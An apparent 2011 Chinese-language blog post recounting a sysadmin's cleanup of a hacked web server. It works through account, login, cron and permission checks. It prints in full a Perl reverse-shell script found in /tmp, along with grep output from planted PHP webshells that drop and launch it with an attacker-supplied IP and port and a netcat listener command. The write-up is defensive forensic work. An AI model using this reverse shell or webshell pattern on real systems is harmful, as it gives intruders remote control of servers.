Web伺服器捉蟲速記

cnbird發表於2011-10-10

一伺服器疑似被掛馬,現象是從百度搜該站點,出來的結果大部分為色情網站。

馬上登入伺服器(半夜好睏啊)。執行如下的步驟:

<!–[if !supportLists]–>1、  <!–[endif]–>檢查系統帳號,看有沒有異常帳號–如冒充系統帳號,改一個字母,看起來像系統帳號,混淆視聽。有的傢伙狡猾的幹活,建立個帳號為“…”極端不易察覺。

<!–[if !supportLists]–>2、  <!–[endif]–>檢查最近登入使用者的ip:last 檢視9月9號以後到目前的情況,經確認,有一個ip來路不對。

<!–[if !supportLists]–>3、  <!–[endif]–>檢查系統初始化檔案inittab,執行級別為3,為發現異常。一些hacker喜歡在這裡下手,加上respawn這樣的行,保證他的程式被殺後自動重啟,不屈不撓地抗爭系統管理員的絞殺。

<!–[if !supportLists]–>4、  <!–[endif]–>檢查執行級別目錄的指令碼,ls –al /etc/rc3.d ,未見異常。

<!–[if !supportLists]–>5、  <!–[endif]–>檢查自動任務 crontab –l ,root使用者和web執行使用者www各檢查一遍,未見任何異常。

<!–[if !supportLists]–>6、  <!–[endif]–>檢查歷史記錄history 發現有安裝sendmail的情形,問客戶是否有這個,答:不是自己裝的。

<!–[if !supportLists]–>7、  <!–[endif]–>檢查web目錄,發現其許可權為777,這可讓人不太放心了,心中猜想,可能是從這裡下手了。

<!–[if !supportLists]–>8、  <!–[endif]–>檢查一下目錄/tmp,發現有個檔案不太對勁,檔名是spider_bc,開啟看一下,是個perl指令碼,其內容為:

[root@localhost   mysql]# more  /tmp/spider_bc

#!/usr/bin/perl

use   Socket;

$cmd=   “lynx”;

$system=   `echo “`uname -a`”;echo”`id`”;/bin/sh`;

$0=$cmd;

$target=$ARGV[0];

$port=$ARGV[1];

$iaddr=inet_aton($target)   || die(“Error: $!
“);

$paddr=sockaddr_in($port,   $iaddr) || die(“Error: $!
“);

$proto=getprotobyname(`tcp`);

socket(SOCKET,   PF_INET, SOCK_STREAM, $proto) || die(“Error: $!
“);

connect(SOCKET,   $paddr) || die(“Error: $!
“);

open(STDIN,   “>&SOCKET”);

open(STDOUT,   “>&SOCKET”);

open(STDERR,   “>&SOCKET”);

system($system);

close(STDIN);

close(STDOUT);

close(STDERR);

   據客戶開發人員反應,這檔案刪除以後,一會又自動生成了。

<!–[if !supportLists]–>9、  <!–[endif]–>初步懷疑是hacker利用web許可權設定及程式漏洞上傳了程式後,自動生成這個檔案,於是進入到網站根目錄,然後執行grep –r “spider” * ,片刻,結果出來了,下面節錄部分:

[root@localhost www]# grep spider_bc * -r

/plusbak/viev.php:                        echo   File_Write(`/tmp/spider_bc`,base64_decode($back_connect_pl),`wb`) ? `建立/tmp/spider_bc成功<br>` : `建立/tmp/spider_bc失敗<br>`;

/plusbak/viev.php:                        echo   Exec_Run($perlpath.` /tmp/spider_bc `.$_POST[`yourip`].`   `.$_POST[`yourport`].` &`) ? `nc -l -n -v -p `.$_POST[`yourport`] : `執行命令失敗`;

/plusbak/viev.php:                        echo   File_Write(`/tmp/spider_bc.c`,base64_decode($back_connect_c),`wb`) ? `建立/tmp/spider_bc.c成功<br>` : `建立/tmp/spider_bc.c失敗<br>`;

/plusbak/viev.php:                          @unlink(`/tmp/spider_bc.c`);

/plusbak/viev.php:                        echo   Exec_Run(`/tmp/spider_bc `.$_POST[`yourip`].` `.$_POST[`yourport`].` &`)   ? `nc -l -n -v -p `.$_POST[`yourport`] : `執行命令失敗`;

/developers/FCKeditor/editor/skins/images/images.php:                     echo   File_Write(`/tmp/spider_bc`,base64_decode($back_connect_pl),`wb`) ? `建立/tmp/spider_bc成功<br>` : `建立/tmp/spider_bc失敗<br>`;

/developers/FCKeditor/editor/skins/images/images.php:                     echo   Exec_Run($perlpath.` /tmp/spider_bc `.$_POST[`yourip`].`   `.$_POST[`yourport`].` &`) ? `nc -l -n -v -p `.$_POST[`yourport`] : `執行命令失敗`;

/developers/FCKeditor/editor/skins/images/images.php:                     echo   File_Write(`/tmp/spider_bc.c`,base64_decode($back_connect_c),`wb`) ? `建立/tmp/spider_bc.c成功<br>` : `建立/tmp/spider_bc.c失敗<br>`;

/developers/FCKeditor/editor/skins/images/images.php:                     @unlink(`/tmp/spider_bc.c`);

/developers/FCKeditor/editor/skins/images/images.php:                     echo   Exec_Run(`/tmp/spider_bc `.$_POST[`yourip`].` `.$_POST[`yourport`].` &`)   ? `nc -l -n -v -p `.$_POST[`yourport`] : `執行命令失敗`;

/developers/developers/cache/default/index_sql.php   :                      echo   File_Write(`/tmp/spider_bc`,base64_decode($back_connect_pl),`wb`) ? `建立/tmp/spider_bc成功<br>` : `建立/tmp/spider_bc失敗<br>`;

/developers/developers/cache/default/index_sql.php   :                      echo Exec_Run($perlpath.`   /tmp/spider_bc `.$_POST[`yourip`].` `.$_POST[`yourport`].` &`) ? `nc -l   -n -v -p `.$_POST[`yourport`] : `執行命令失敗`;

/developers/developers/cache/default/index_sql.php   :                      echo   File_Write(`/tmp/spider_bc.c`,base64_decode($back_connect_c),`wb`) ? `建立/tmp/spider_bc.c成功<br>` : `建立/tmp/spider_bc.c失敗<br>`;

/developers/developers/cache/default/index_sql.php   :                        @unlink(`/tmp/spider_bc.c`);

/developers/developers/cache/default/index_sql.php   :                      echo Exec_Run(`/tmp/spider_bc   `.$_POST[`yourip`].` `.$_POST[`yourport`].` &`) ? `nc -l -n -v -p   `.$_POST[`yourport`] : `執行命令失敗`;

9、問題基本查明,告知各方,先簡單恢復,明日再戰。


相關文章